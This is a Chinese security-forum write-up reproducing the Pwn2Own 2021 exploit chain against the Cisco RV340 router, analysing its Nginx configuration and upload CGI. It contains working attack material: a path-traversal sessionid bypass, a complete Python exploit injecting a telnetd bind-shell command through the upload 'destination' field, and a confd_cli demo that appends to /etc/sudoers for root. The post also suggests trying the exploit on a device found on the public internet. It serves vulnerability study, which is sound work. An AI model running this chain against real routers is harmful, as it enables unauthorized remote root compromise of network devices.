问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
pwn2own2021中的Cisco路由器
硬件与物联网
pwn2own中Cisco RV340的利用链分析
0x01 2021pwn2own中的RV340 ======================= pwn2own中展示的方法是利用多个个cve漏洞,完成身份绕过,命令执行,提权的过程,目标机器是Cisco RV340。 出现漏洞的版本在1.0.3.24以前,所以我下载了1.0.3.22版本的固件进行复现学习。 这次学习Cisco路由器,旨在理清思科路由器和之前研究的区别和框架。 0x02 攻击链分析 ========== 接触的设备RV340使用的是Nginx作为web服务,配置文件位于/etc/nginx中,web根目录在www目录下。 在这样的分析中,首先查看的还是web的服务配置,查看Nginx的配置文件。关注配置文件中的nginx.conf,fastcgi\_params,以及conf.d中的web.conf,web.upload.conf这几个较为关键的配置文件。 首先学习Nginx的配置文件构成,在主配置文件nginx.conf文件中,配置内容分为三块,分别是全局块,events块,http块。在http块中,又包含多个server块。每个server块中又可以包含server全局块和多个location块。如此环环嵌套,在各个作用域发挥作用。 一般来说,高一层级的块可以作用在其包含的所有块中。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c47f6c458af0174add5b4c47314c82dac261503c.png) 在RV340的配置中,定义了如上内容,更多的server块内容在sites-enabled下作为单个文件存在,具体不深入探究,upstream是负载均衡,一般来说多个server后面还有权重,但是这里只有一个port,也就没有配置权重的必要。 整个nginx配置了五个大的server,分别为rest,web-lan,web-rest-lan,web-rest-wan,web-wan。 每个server中包含了若干include指令,拿rest来说。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-dd7c246e888b1e7f31b513f08ef87333a6f54529.png) 在这些conf中包含了若干location。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3f2a95114d567252684a5bac28a697d3fbf93641.png) 按照理解,每个server都相当于是一台虚拟主机,而其中的location处理虚拟主机接收到的各类请求字符串,对server\_name以外的字符串进行匹配。 location的语法结构为`location [ = | ~ | ~* | ^~ ] uri { ... }` 其中uri可以含有正则表达式,\[\]中的,是可选项,用来改变和uri的匹配方式。 - “=”,用于标准uri前,要求请求字符串与uri严格匹配。如果已经匹配成功,就停止继续向下搜索并立即处理此请求。 - “^~”,用于标准uri前,要求Nginx服务器找到标识uri和请求字符串匹配度最高的location后,立即使用此location处理请求,而不再使用location块中的正则uri和请求字符串做匹配。 - “~”,用于表示uri包含正则表达式,并且区分大小写。 - “~`*`”,用于表示uri包含正则表达式,并且不区分大小写。注意如果uri包含正则表达式,就必须要使用“~”或者“~\*”标识。 > 我们知道,在浏览器传送URI时对一部分字符进行URL编码,比如空格被编码为“%20”,问号被编码为“%3f”等。“~”有一个特点是,它对uri中的这些符号将会进行编码处理。比如,如果location块收到的URI为“/html/%20/data”,则当Nginx服务器搜索到配置为“~ /html/ /data”的location时,可以匹配成功。 在web.conf中和web.upload中定义了一些访问的url,关注到web.upload这一较为敏感的内容。 ```c location /upload { set $deny 1; if (-f /tmp/websession/token/$cookie_sessionid) { set $deny "0"; } if ($deny = "1") { return 403; } upload_pass /form-file-upload; upload_store /tmp/upload; upload_store_access user:rw group:rw all:rw; upload_set_form_field $upload_field_name.name "$upload_file_name"; upload_set_form_field $upload_field_name.content_type "$upload_content_type"; upload_set_form_field $upload_field_name.path "$upload_tmp_path"; upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5"; upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size"; upload_pass_form_field "^.*$"; upload_cleanup 400 404 499 500-505; upload_resumable on; } ``` \\$deny为1即可完成403跳转,条件就是`/tmp/websession/token/$cookie_sessionid`存在,然而对于\\$cookie\_sessionid,这个变量,似乎没有太多的安全要素在里面。 只需要让目录穿越到一个存在的文件即可绕过这个检查。 即设置`sessionid=../../../../../../../../etc/passwd`。 此时请求upload,会返回400,而如果文件不存在则返回403,这就是CVE-2022-20705漏洞。(这里指的是请求头不全时,返回400) 该漏洞造成的威胁是任意的文件上传,因为可以发现这里对文件上传的文件也是没有检测的(CVE-2022-20709) 绕过验证之后,请求给到对应的cgi,可以对upload.cgi进行逆向分析,稍做分析之后发现,第一次的绕过还不算,在cgi中对sessionid还有第二次校验。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-45608f0b63d2f66515f855993af21d6a5ab2a933.png) 图中的目标函数可以说是最终执行的目标,在执行这两个函数之前,前面有很多的判断,第二条就是我们分析的upload,第一条是另外的路径,在rest.url.conf中可以看到其约束。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6c1595b61064429c961dbced3f90fc893464fcea.png) 必须要有authorization选项才可以。其余的之类的条件不用管,都可以在http包中伪造,如果是第一条url,则进入sub\_124B0函数。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2f53259bd77915db790cc873f4bc0a7373344cdf.png) 在这条路径中,闭合得当可以rce。 第二个函数sub\_12684中,同样的控制cookie得当,也可以RCE。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d163581b65e66069502ee2f8321a62cd5f76715d.png) 这里就是突破的第二步,CVE-2022-20707,最后就是提升权限为root,最终提权使用的是confd\_cli命令(2022-20701)。 以上提到的CVE号可能不是太准确,因为找到的资料都是一个大类,[思科官网](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html)中有记载,RV设备爆出来很多连CVE号码的漏洞,可能是其中的某一个。 0x03 从分析到利用 =========== 绕过Nginx配置 --------- 在分析中基本上都讲到了,分析中举出来的例子算是一个小例子,实际上在conf配置文件中,几乎对于所有的authorization和sessionid都可以用到类似的绕过,执行一些意料之外的事情。 基础条件就是authorization不为空,session文件不为空(基本上就是利用根目录下一定存在的文件) `payload = http_req+"sessionid=../../../../../../../../etc/passwd"+xxxx` 二次绕过后的RCE --------- 具体的rce形成已经知道了,接下来就是好好说道一下利用过程中需要解决的认证问题,Cisco的代码还算规整(diss某httpd),逻辑也比较清晰。 程序从环境变量中取出一些相关的头部字段,从content\_type来看,这次请求是http的boundary文件上传。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-81b482a21700e2ddfcd74bb0f7d353b26ba892aa.png) 其中一些str和buf之间的操作看名字应该就知道是什么意思,其中设计到boundary的格式操作,也不需要深入探究,按照标准格式,到时候一抓包改关键位置就行。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-fe0bd35724f9bccf95ef1cdb122288279ab6564f.png) 从数据包中取出关键字,如果设置了http-cookie则通过strstr获得sessionid后面的东西,同时可以有多个session\_id因为使用了for循环,利用分号匹配了所有的cookie,只要是有session\_id就进行操作,去最后的session\_id为有效id。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3bce84bbdf0b6146a5b9b8ad89a9cce458ba13ca.png) 通过filename获得相应的key然后去sub\_115D0函数进行更一步的操作。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-41bf505b2d353e20e3e735369a901bbc583b96e3.png) 后文中,只有v21返回值为0才可以到最后一步,函数的第一个参数是pathparam,第二个参数是filepath,第三个参数是filename ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e2cc9868efb6d6488e2e198d5291536861598412.png) 通过fileparam决定v8,检查filepath是否存在,检查filname是否含有非法字符,最后system调用mv函数进行操作,a2必须是合法文件路径,第二个参数已经固定,第三个参数有了正则waf,似乎system看起来没有办法逃逸引号,函数返回system的执行结果,继续运行。 这里的逻辑也是有问题的,因为可以明显的感觉到这个,mv的执行太简单了,回去再看一遍发现对filename过滤,但是允许.(点号)存在,所以可以穿越目录,任意文件移动(CVE-2022-20711)。 在接下来就是两个可能rce的函数了,第一个不给予考虑,一个waf全当下来了,第二个可以考虑一下,里面的json\_obj\_to\_str可以看看,查找该函数,发现函数存在于libjson-c.so文件中。 ```c int __fastcall json_object_to_json_string(int a1) { return j_json_object_to_json_string_ext(a1, 1); } ``` 奇怪的是是一个有参数的函数,可能IDA没有识别出来,导致该函数没有参数。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f9cc853bafdfbb9727b02a75b4a585888aa5ed04.png) 查看汇编知道,参数来源于R0,也就是前面的非0判断那个变量,修改函数原型后显示正常。 ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-dfdbef381f9ba729f49fce409d43f3fb58abedb7.png) V14来源于a4判断之后的函数返回值。 这些函数大都是创建json对象,然后拼接之类的,拿`sub_117E0(a2, a5, a3);`函数举个例子。 ```c int __fastcall sub_117E0(int a1, int a2, int a3) { [.........] v3 = a2 == 0; if ( a2 ) v3 = a1 == 0; if ( v3 ) return 0; if ( !a3 ) return 0; v7 = json_object_new_object(a1); v8 = json_object_new_object(v7); v9 = json_object_new_object(v8); v10 = json_object_new_object(v9); v11 = json_object_new_object(v10); v23 = json_object_new_object(v11); v24 = StrBufCreate(v23, v12, v13); StrBufSetStr(v24, (int)"FILE://Firmware/"); StrBufAppendStr(v24, a2); v14 = json_object_new_string("2.0"); json_object_object_add(v7, "jsonrpc", v14); v15 = json_object_new_string("action"); json_object_object_add(v7, "method", v15); json_object_object_add(v7, "params", v9); v16 = json_object_new_string("file-copy"); json_object_object_add(v9, "rpc", v16); json_object_object_add(v9, "input", v8); v17 = json_object_new_string("firmware"); json_object_object_add(v8, "fileType", v17); json_object_object_add(v8, "source", v10); v18 = StrBufToStr(v24); v19 = json_object_new_string(v18); json_object_object_add(v10, "location-url", v19); json_object_object_add(v8, "destination", v11); v20 = json_object_new_string(a1); json_object_object_add(v11, "firmware-state", v20); json_object_object_add(v8, "firmware-option", v23); v21 = json_object_new_string(a3); json_object_object_add(v23, "reboot-type", v21); StrBufFree(&v24); return v7; } ``` 返回值为v7,根据a1创建对象,然后添加jsonrpc,添加method,添加params最后返回v7,简而言之,就是在第一个参数的基础上在后面拼接若干东西,形成一个json对象,在后续的`json_object_to_json_string(v14);`函数中转化该对象为string,然后传入command执行。 所以我们只需要构造一个逃逸单引号的destination就可以了。(`sub_117E0`函数的第一个参数是destination) 总结起来,rce的条件就是: 1. 各类参数齐全,filename符合格式 2. 任意文件移动必须返回0,即filename不含有特殊字符,filepath是合法路径 3. destination闭合单引号 利用起来也不是特别困难 提权 提权利用上也有很多漏洞,这里选择的是其中的confd指令提权,利用通过`confd`以特权运行的 Cisco `root`,获得系统执行root命令的权限,主要是利用Web UI 通过本地绑定的套接字与 confd 服务器进行通信。 > It is also possible to communicate with `confd` and issue commands using the userspace application `confd_cli`. During our research, we noticed that the confd daemon provides commands to read and write files with the `file show` and `append` commands. > confd本身就提供了读写文件的操作,下面是在某博客看到的一个提权demo。 ```shell $ echo 'www-data ALL=(ALL) NOPASSWD: ALL' > /tmp/www-data-sudo $ /usr/bin/confd_cli -U 0 -G 0 -u root -g root root connected from 127.0.0.1 using console on cisco-router91D57F root@cisco-router91D57F> file show /tmp/www-data-sudo | append /etc/sudoers file show /tmp/www-data-sudo | append /etc/sudoers [ok][2021-10-11 09:43:01] root@router91D57F> exit exit $ sudo /bin/sh sudo /bin/sh BusyBox v1.23.2 (2021-06-14 02:21:16 IST) built-in shell (ash) # id id uid=0(root) gid=0(root) groups=0(root) ``` 0x04 验证 & POC ================= qemu模拟启动虚拟环境。arm小端,使用的是armhf,在qemu模拟的系统中,切换chroot和挂载dev poc之后,按照以下指令启动nginx服务即可,比httpd之类的方便一点。 ```bash /etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start ``` 具体的可以看nginx和confd启动需要的依赖。 这里遇到了一个bug,启动服务的时候,有很多东西显示没有,看了一下,发现我的var软连接指向了/dev/null??? 然后找了一些资料,发现是binwalk在解压的时候,自动把软连接重置为了null。所以在这里对binwalk需要做一个修改,在`binwalk/modules/extractor.py`文件中。 有一个最后三行的if判断(if not xxxx) ![](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-120a1c060ccc7553c97405a0d516afe2b0445dac.png) 把那里的if改为`if 0 and not xxxxx` 然后重新编译binwalk再去提取就ok了(复现完毕别忘记改回来,怕出问题) 一直到命令执行,实际上一个脚本就可以一把梭,关注点在于第一个sessionid和第二个sessionid的伪造,以及任意文件移动的绕过和destination的设置。 ```python from pwn import * import base64 as b64 IP = "192.168.250.173" PORT = 80 p = remote(IP.PORT) text = "login".encode('utf-8') fake_session = "sessionid=../../../../../../etc/passwd;sessionid=" + b64.b64encode(text).decode('utf-8') + ";" body = """------WebKitFormBoundaryz6gIo5kcTkAlkCwX Content-Disposition: form-data; name="sessionid" EU6DJKEIWO ------WebKitFormBoundaryz6gIo5kcTkAlkCwX Content-Disposition: form-data; name="pathparam" Firmware ------WebKitFormBoundaryz6gIo5kcTkAlkCwX Content-Disposition: form-data; name="fileparam" file001 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX Content-Disposition: form-data; name="destination" x';/usr/sbin/telnetd -p 8888 -d /bin/sh ------WebKitFormBoundaryz6gIo5kcTkAlkCwX Content-Disposition: form-data; name="option" x ------WebKitFormBoundaryz6gIo5kcTkAlkCwX Content-Disposition: form-data; name="file"; filename="1.img" Content-Type: application/octet-stream 1111 ------WebKitFormBoundaryz6gIo5kcTkAlkCwX-- """ payload = b"POST /upload HTTP/1.1\r\n" payload += b"Host: %s\r\n"%IP payload += b"Accept: application/json, text/plain, */*\r\n" payload += b"optional-header: header-value\r\n" payload += b"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36\r\n" payload += b"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwX\r\n" payload += b"Content-Length: %s\r\n"%(str(len(body))) payload += b"Origin: http://192.168.250.173\r\n" payload += b"Referer: http://192.168.250.173/index.html\r\n" payload += b"Accept-Encoding: gzip, deflate\r\n" payload += b"Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\r\n" payload += b"Cookie: %s\r\n"%fake_session payload += b"Connection: close\r\n" payload += b"\r\n" payload += body.encode('utf-8') p.send(payload) p.interactive() ``` 提权就很简单了,具体的原理不讲了,类似于sudo这类的提权,按照上面的demo,一步一步操作就可以了。 起服务失败的也可以在公网上找一台设备,试一试(拒绝违法行为)也可以本地调试,本地调试cgi的方法可以参考《家用路由器的0day挖掘》,主要是在启动qemu-static之前,先把环境变量设置好,这里不太好处理的是main函数里面的一个pharase函数,加上漏洞逻辑清晰,所以不太建议本地调试,找个模拟环境打一下,开了telnetd就行了。 0x05 总结 ======= 在突破到控制到提权的过程中,利用的链子中存在很多漏洞,在思科官网可以看到,此次的pwn2own对Cisco路由器也是花样很多。 除了以上的方法还有很多的利用可以学习,大概的CVE编号都在2022-20700--2022-20710左右。还有一些师傅利用device更新之类的方法,也是非常有意思。 再次总结上面的利用: 1. conf配置文件存在session绕过和任意文件上传,利用这个可以过掉第一部分的验证(只需要伪造session即可) 2. 第二次session验证依然存在问题,验证校验了session的内容,即只能存在数字字母(base64)但是在获取session的时候允许多个session的出现,用分号隔开取最后一个有效,这就导致我们可以输入多个session,绕过2此验证。 3. 之后有一个任意文件移动,这个可以和任意文件上传一起利用,也可以绕过即可,主要注意filname,filepath等参数的合法性。 4. Rce,输入的destination逃逸引号即可 5. 提权利用的是执行confd时候的root权限,且可以创建移动文件,精心构造的输入和show等指令可以让用户获得root权限。 总的来说复现感觉很好,Cisco提供的Nginx和详细的资料让模拟环境变得较为简单,poc也是在模拟环境下一手编写,从搭建环境到拿到root权限的感觉很好。
发表于 2022-09-08 09:39:40
阅读 ( 6164 )
分类:
漏洞分析
1 推荐
收藏
1 条评论
阿苗
2022-09-08 10:40
1
请先
登录
后评论
请先
登录
后评论
就叫16385吧
11 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!